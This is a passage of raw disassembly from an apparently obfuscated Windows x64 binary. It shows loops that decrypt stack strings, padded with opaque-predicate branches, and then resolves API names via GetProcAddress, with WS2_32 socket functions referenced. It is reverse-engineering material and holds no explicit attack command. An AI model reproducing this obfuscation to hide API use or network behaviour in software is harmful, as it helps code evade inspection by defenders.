and al, r12b
add al, al
sub r15b, al
add r15b, 0x5d
add r15b, r12b
movzx eax, r15b
mov byte [rbp + r13 + 0x260], al
inc r8
add rax, r8
sub r13, rax
lea ecx, [r13 + 0x54]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r12b
mov byte [rbp + r13 + 0x260], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r13, rax
jmp 0x1400688ba
movabs rax, 0x46af47ac1e48cb6d
add rax, r13
and dl, al
add dl, dl
sub al, dl
lea edi, [r12 + rax]
add dil, 5
movzx eax, byte [rbp + r13 + 0x260]
add rax, r8
add r13, rax
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
sub r15b, 0x75
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
add dil, 0x33
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee0
sub r15b, 0x13
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x7b
jmp 0x140067ec3
lea rdx, [rbp + 0x14d9174]
jmp 0x140068938
lea rdx, [rbp + 0x165d543]
jmp 0x140068938
lea rdx, [rbp + 0x260]
mov r12, qword [rbp + 0x408]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
mov byte [rbp + 0x290], 0xaf
mov byte [rbp + 0x291], 0xce
mov byte [rbp + 0x292], 0xf8
mov byte [rbp + 0x293], 0xde
mov byte [rbp + 0x294], 0xe5
mov byte [rbp + 0x295], 0xfc
mov byte [rbp + 0x296], 0xfc
mov byte [rbp + 0x297], 0xc4
mov byte [rbp + 0x298], 0xfd
mov byte [rbp + 0x299], 0xde
mov byte [rbp + 0x29a], 0xc7
mov byte [rbp + 0x29b], 0xf7
mov byte [rbp + 0x29c], 0xf4
mov byte [rbp + 0x29d], 0xfe
mov byte [rbp + 0x29e], 0xc5
mov byte [rbp + 0x29f], 0xca
mov byte [rbp + 0x2a0], 0x56
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a1], xmm0
mov word [rbp + 0x2b1], ax
mov byte [rbp + 0x2b3], al
movabs rsi, 0x7dbdd3969f68391
movabs r13, 0x37030c91e5bd98f7
movabs r15, 0x274b521f11d091d5
movabs r14, 0x179397ac3de38ab3
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x24
jae 0x140069559
movzx r10d, byte [rbp + r11 + 0x290]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140069550
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140068a6c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 9
jmp 0x140068aa6
je 0x1400694e4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006948f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006944a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400693ee
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400693a3
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140069547
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140068ada
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
jmp 0x140068b10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006938a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069367
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006934a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006932d
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140069027
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006900c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140068fe6
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140068fc0
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140068fa1
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140068f81
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140068f61
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140068f42
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140068f22
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068ef0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068b20
lea rbx, [r8 + 6]
lea r8, [rbx + 8]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006952a
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006950d
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140068ce6
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140068ccb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140068cb0
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140068e9b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140068e52
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140068e12
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140068b20
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140068de0
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140068dc0
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140068da1
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140068d84
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140068d67
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140068d4c
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140068d29
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140068d03
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x200]
jmp 0x140068b20
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
jmp 0x140068b10
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x140068ab0
add r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x41
jmp 0x140068a40
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
inc r8
dec r11
inc r11
jmp 0x140068a23
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x140068a23
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14006940c
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14006942e
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x140069431
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069460
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400694a1
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
cmp r8, 4
jb 0x1400692e8
lea edx, [r9 - 0x3a]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400693c1
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
cmp rbx, 0x5a
jae 0x1400692f8
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14006920a
lea edx, [r9 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1e
add dil, dl
jmp 0x140068e28
lea ecx, [r9 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x140069317
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006912f
lea edx, [r9 - 0x73]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x25
add dil, dl
jmp 0x140068e68
add r9b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400694a1
lea edx, [r9 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069460
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069431
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006942e
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006940c
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140068a23
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140068a23
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x1400693c1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14006904b
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
jmp 0x140068eb1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069086
sub r9b, 0x36
movzx eax, r10b
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400690af
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
add dil, r9b
jmp 0x1400694a1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400690d7
lea edx, [r9 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x62
add dil, dl
jmp 0x140069460
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069106
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 8
inc r8
dec r11
inc r11
jmp 0x140068a23
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140068eb1
lea edx, [r9 - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400693be
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069154
lea edx, [r9 - 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x37
jmp 0x1400693be
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069180
sub r9b, 0xd
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x5b
dec r11
inc r11
jmp 0x140068a23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400691a6
add r9b, 0x59
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6f
jmp 0x140069431
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400691ce
lea edx, [r9 + 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5d
add dil, dl
jmp 0x140069460
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140068e68
sub r9b, 0x41
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x39
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069242
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006926b
sub r9b, 6
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140069431
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069290
lea edx, [r9 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140069409
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400692bf
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140068a23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068e28
lea edx, [r9 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7c
jmp 0x1400693be
mov byte [rbp + r11 + 0x290], dil
inc r11
jmp 0x140068a23
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, r10b
jmp 0x140069409
lea ecx, [r9 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x46]
jmp 0x140069460
sub r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x29
jmp 0x140069431
sub r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x17
jmp 0x14006942e
add r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xd
dec r11
inc r11
jmp 0x140068a23
lea edx, [r9 + 7]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x31
jmp 0x1400693be
movzx r9d, r11b
lea edx, [r9 - 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x55
add dil, dl
add r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x61
add r10b, r9b
mov byte [rbp + r11 + 0x290], r10b
inc r8
dec r11
inc r11
jmp 0x140068a23
movzx r9d, r11b
lea edx, [r9 + 0x5d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x75
add dil, dl
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x290], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140068a23
lea rax, [r11 + r13]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x3f
movzx r9d, r11b
sub r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3d
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x290], al
inc r8
add rax, r8
sub r11, rax
jmp 0x1400694a1
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x2d
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x34
add cl, r10b
mov byte [rbp + r11 + 0x290], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x1b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x140068a23
add r9b, 0x55
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x53
jmp 0x140068a20
add r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x65
jmp 0x140068a10
lea rdx, [rbp + 0x16067fc]
jmp 0x140069560
lea rdx, [rbp + 0x156eb8d]
jmp 0x140069560
lea rdx, [rbp + 0x290]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov byte [rbp + 0xa0], 0x56
mov byte [rbp + 0xa1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xa2], 0x78
mov byte [rbp + 0xa3], 0x77
mov byte [rbp + 0xa4], 0x63
mov byte [rbp + 0xa5], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xa7], 0x7b
mov byte [rbp + 0xa8], 0x77
mov byte [rbp + 0xa9], 0x8e
mov byte [rbp + 0xaa], 0x43
mov byte [rbp + 0xab], 3
xor eax, eax
mov qword [rbp + 0xac], rax
movabs r14, 0x4b6c1a64a1cf7b82
movabs r13, 0xff4b8c06cac608e
movabs r15, 0xe2444f2de56e7286
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x14006a160
movzx r10d, byte [rbp + r11 + 0xa0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006a157
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006964c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x72
jmp 0x140069686
je 0x14006a0df
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a04e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006a01c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069ffb
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140069fb0
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006a14e
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400696be
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069700
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140069fa5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069f7f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069f62
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140069f47
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140069f15
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140069c40
nop dword [rax]
lea rcx, [r8 + 0x400]
cmp rbx, rcx
je 0x140069c25
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140069bff
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140069bdc
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140069bc1
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140069ba4
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140069b84
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140069b65
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140069b45
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140069b13
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140069710
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
jb 0x14006a12e
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006a10e
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400698f2
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400698d3
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400698b8
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140069ac6
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140069a81
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140069a43
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140069710
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140069a14
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400699f7
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400699d8
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400699b8
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140069998
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140069979
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140069953
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14006992d
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140069912
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x140069710
lea rbx, [r8 + 1]
lea r8, [rbx + 0x61]
jmp 0x140069710
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140069700
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069690
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069620
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140069fce
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
inc r8
dec r11
inc r11
jmp 0x140069603
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140069603
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069ed5
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a032
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a035
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a06c
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14006a098
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
cmp r8, 8
jb 0x140069eac
lea ecx, [r9 - 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x28]
jmp 0x140069fce
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
cmp rbx, 9
jae 0x140069ebc
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140069ddb
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x140069a59
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x140069efc
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140069d48
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069a97
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a098
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a06c
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a035
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x14006a032
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140069ed5
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x140069603
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140069603
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140069fce
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140069c68
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140069adc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069ca0
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140069603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069cc8
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a06c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140069cf1
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006a032
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140069d20
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140069603
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140069adc
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x140069fce
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069d5f
lea edx, [r9 - 2]
mov ecx, 7
jmp 0x140069fbd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069d8b
add r9b, 6
